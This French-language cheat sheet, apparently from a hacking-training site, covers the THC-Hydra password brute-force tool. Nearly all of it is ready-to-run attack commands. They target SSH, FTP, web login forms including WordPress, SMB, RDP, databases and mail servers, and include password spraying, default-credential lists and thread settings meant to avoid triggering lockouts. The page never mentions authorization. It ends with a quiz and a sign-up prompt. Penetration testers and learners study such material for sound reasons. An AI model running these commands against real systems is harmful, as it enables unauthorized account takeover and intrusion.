Guide de référence Hydra

Référence complète pour le brute force de mots de passe

Plus de 50 protocoles • SSH, HTTP, FTP, RDP, bases de données et plus

📅 Mis à jour : Décembre 2024⏱️ 20 min de lecture🔧 Hydra 9.5+

📑 Navigation rapide

Syntaxe de base Attaques SSH Formulaires HTTP FTP/SMB Bases de données RDP/VNC Performance Wordlists

Qu'est-ce que Hydra ?

THC-Hydra (communément appelé Hydra) est un cracker de connexion rapide et parallélisé qui prend en charge de nombreux protocoles. Développé par The Hacker's Choice (THC), c'est l'un des outils de test de mots de passe les plus polyvalents disponibles, prenant en charge plus de 50 protocoles différents dont SSH, FTP, HTTP, HTTPS, SMB, bases de données et bien d'autres.

Hydra est préinstallé sur Kali Linux et d'autres distributions orientées sécurité. Le code source est disponible sur GitHub.

📦 Installation

Debian/Ubuntu/Kali

sudo apt install hydra

RHEL/CentOS/Fedora

sudo dnf install hydra

macOS (Homebrew)

brew install hydra

Depuis les sources

git clone https://github.com/vanhauser-thc/thc-hydra
cd thc-hydra && ./configure && make && sudo make install

🎯 Syntaxe de base

hydra [options] <cible> <protocole>
Flag Description Exemple
-l Nom d'utilisateur unique -l admin
-L Fichier de liste d'utilisateurs -L users.txt
-p Mot de passe unique -p password123
-P Fichier de liste de mots de passe -P rockyou.txt
-C Fichier user:pass séparé par deux-points -C creds.txt
-s Numéro de port -s 2222
-t Tâches parallèles (threads) -t 16
-f Arrêter à la première paire valide -f
-F Arrêter à la première paire valide (tous les hôtes) -F
-v / -V Verbeux / afficher les tentatives -V
-o Fichier de sortie -o results.txt
-e nsr Essayer mot de passe null/identique/inversé -e nsr
-M Fichier de liste de cibles -M hosts.txt

📡 Protocoles supportés

Exécutez hydra -h pour voir tous les protocoles disponibles. Les plus courants incluent :

ssh ftp telnet http-get http-post-form https-get https-post-form smb rdp vnc mysql mssql postgres oracle mongodb ldap2 smtp pop3 imap snmp redis memcached

🔐 Attaques SSH

# Utilisateur unique, liste de mots de passe
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<target>

# Liste d'utilisateurs, liste de mots de passe
hydra -L users.txt -P passwords.txt ssh://<target>

# Port personnalisé
hydra -l admin -P passwords.txt -s 2222 ssh://<target>

# Essayer null, identique au login, inversé
hydra -l root -P passwords.txt -e nsr ssh://<target>

# Verbeux avec 4 threads
hydra -l root -P passwords.txt -t 4 -V ssh://<target>

# Syntaxe alternative
hydra -l root -P passwords.txt <target> ssh

💡 Conseil pro

SSH a généralement une limitation de débit. Utilisez -t 4 (4 threads) pour éviter de déclencher des verrouillages de compte et des blocages de connexion.

📁 Attaques FTP

# Attaque FTP basique
hydra -l admin -P passwords.txt ftp://<target>

# Essayer d'abord le login anonyme
hydra -l anonymous -p anonymous ftp://<target>

# Plusieurs utilisateurs avec sortie verbeuse
hydra -L users.txt -P passwords.txt -V ftp://<target>

# Arrêter au premier succès
hydra -l ftpuser -P passwords.txt -f ftp://<target>

🌐 Attaques de formulaires HTTP

Les attaques de formulaires HTTP nécessitent de comprendre la structure du formulaire de connexion. Vous avez besoin : du chemin du formulaire, des paramètres POST et d'un indicateur d'échec.

Syntaxe

hydra -l <user> -P <wordlist> <target> http-post-form "/path:user=^USER^&pass=^PASS^:F=failure_string"
Placeholder Description
^USER^ Remplacé par le nom d'utilisateur
^PASS^ Remplacé par le mot de passe
F=string Condition d'échec (chaîne présente en cas d'échec)
S=string Condition de succès (chaîne présente en cas de succès)

Exemples

# Formulaire de connexion basique
hydra -l admin -P passwords.txt <target> http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"

# Connexion WordPress
hydra -l admin -P passwords.txt <target> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username"

# Avec cookies
hydra -l admin -P passwords.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:F=failed:H=Cookie: PHPSESSID=abc123"

# Cible HTTPS
hydra -l admin -P passwords.txt <target> https-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

# Utiliser la condition de succès à la place
hydra -l admin -P passwords.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:S=Welcome"

⚠️ Trouver les paramètres du formulaire

Utilisez les DevTools du navigateur (onglet Réseau) ou Burp Suite pour capturer la requête POST réelle. Recherchez l'URL d'action du formulaire et les noms des champs de saisie.

🔒 Authentification HTTP basique

# Auth HTTP basique
hydra -l admin -P passwords.txt <target> http-get /admin/

# Auth HTTPS basique
hydra -l admin -P passwords.txt <target> https-get /secure/

# Avec spécification de port
hydra -l admin -P passwords.txt -s 8080 <target> http-get /

💼 Attaques SMB/Windows

# Attaque SMB
hydra -l Administrator -P passwords.txt smb://<target>

# Avec domaine
hydra -l DOMAIN\\Administrator -P passwords.txt smb://<target>

# Attaque RDP (lent, utiliser peu de threads)
hydra -l administrator -P passwords.txt -t 1 rdp://<target>

# VNC (mot de passe uniquement, pas de nom d'utilisateur)
hydra -P passwords.txt vnc://<target>

🗄️ Attaques de bases de données

# MySQL
hydra -l root -P passwords.txt mysql://<target>

# PostgreSQL
hydra -l postgres -P passwords.txt postgres://<target>

# Microsoft SQL Server
hydra -l sa -P passwords.txt mssql://<target>

# Oracle SID requis
hydra -l system -P passwords.txt oracle://<target>/XE

# MongoDB
hydra -l admin -P passwords.txt mongodb://<target>

# Redis (mot de passe uniquement)
hydra -P passwords.txt redis://<target>

📧 Protocoles de messagerie

# SMTP
hydra -l user@domain.com -P passwords.txt smtp://<target>

# SMTP avec TLS
hydra -l user@domain.com -P passwords.txt -S smtp://<target>:587

# POP3
hydra -l user -P passwords.txt pop3://<target>

# POP3S (SSL)
hydra -l user -P passwords.txt pop3s://<target>

# IMAP
hydra -l user -P passwords.txt imap://<target>

# IMAPS (SSL)
hydra -l user -P passwords.txt imaps://<target>

⚡ Optimisation des performances

Flag Description Défaut
-t N Nombre de tâches parallèles (threads) 16
-w N Temps d'attente des réponses (secondes) 32
-c TIME Temps d'attente par tentative de connexion -
-W N Attente entre les reconnexions 0
-T N Threads par cible (avec -M) -

Paramètres de threads recommandés

SSH

4 threads

HTTP/HTTPS

16-32 threads

FTP

8-16 threads

RDP

1-4 threads

💾 Gestion des sessions

Hydra peut sauvegarder et restaurer les sessions pour les attaques de longue durée :

# Les sessions sont auto-sauvegardées dans ~/.hydra/hydra.restore

# Reprendre une session interrompue
hydra -R

# Démarrer une attaque avec un fichier de session spécifique
hydra -l admin -P rockyou.txt ssh://<target> -I
-R Restaurer la session précédente
-I Ignorer le fichier de restauration existant (recommencer à zéro)

📚 Wordlists courantes

Sur Kali Linux, les wordlists sont généralement situées dans /usr/share/wordlists/

Wordlist Chemin Taille
RockYou /usr/share/wordlists/rockyou.txt 14M mots de passe
SecLists Common /usr/share/seclists/Passwords/Common-Credentials/ Divers
Top 10000 /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt 10K mots de passe
Default Creds /usr/share/seclists/Passwords/Default-Credentials/ Divers

💡 Conseil pro

Commencez par des wordlists plus petites et ciblées avant d'utiliser des listes massives comme rockyou.txt. Essayez d'abord les défauts courants : admin:admin, root:root, user:password.

🔥 Scénarios d'attaque courants

# Vérification rapide des identifiants par défaut
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://<target>

# Plusieurs cibles depuis un fichier
hydra -L users.txt -P passwords.txt -M hosts.txt ssh

# Password spray (un mot de passe, plusieurs utilisateurs)
hydra -L users.txt -p 'Summer2024!' smb://<target>

# Service sur port non standard
hydra -l admin -P passwords.txt -s 8022 ssh://<target>

# Enregistrer les résultats dans un fichier
hydra -l root -P passwords.txt -o results.txt ssh://<target>

# Verbeux avec toutes les tentatives affichées
hydra -l admin -P passwords.txt -V ssh://<target>

📚 Ressources supplémentaires

🔓 Guide de référence Hydra terminé !

Vous disposez maintenant d'une référence complète pour l'outil de brute force de mots de passe le plus polyvalent. De SSH aux formulaires web en passant par les bases de données, ces commandes couvrent les attaques d'authentification que les professionnels de la sécurité utilisent quotidiennement.

SSH Formulaires HTTP FTP/SMB Bases de données RDP/VNC

Prêt à craquer votre prochain test d'authentification !

Validation des Connaissances

Démontrez votre compréhension pour gagner des points et progresser

1
Question du Chapitre

Quel flag Hydra spécifie le fichier de liste de mots de passe à utiliser ?

1
Lire
2
Valider
3
Terminer

Prêt à suivre votre progression?

Créez un compte gratuit pour sauvegarder votre progression, gagner des points et accéder à plus de 170 labs pratiques de cybersécurité.

Commencer à Apprendre Gratuitement
Rejoignez 5 000+ hackers qui apprennent la cybersécurité avec des labs pratiques. Créer un Compte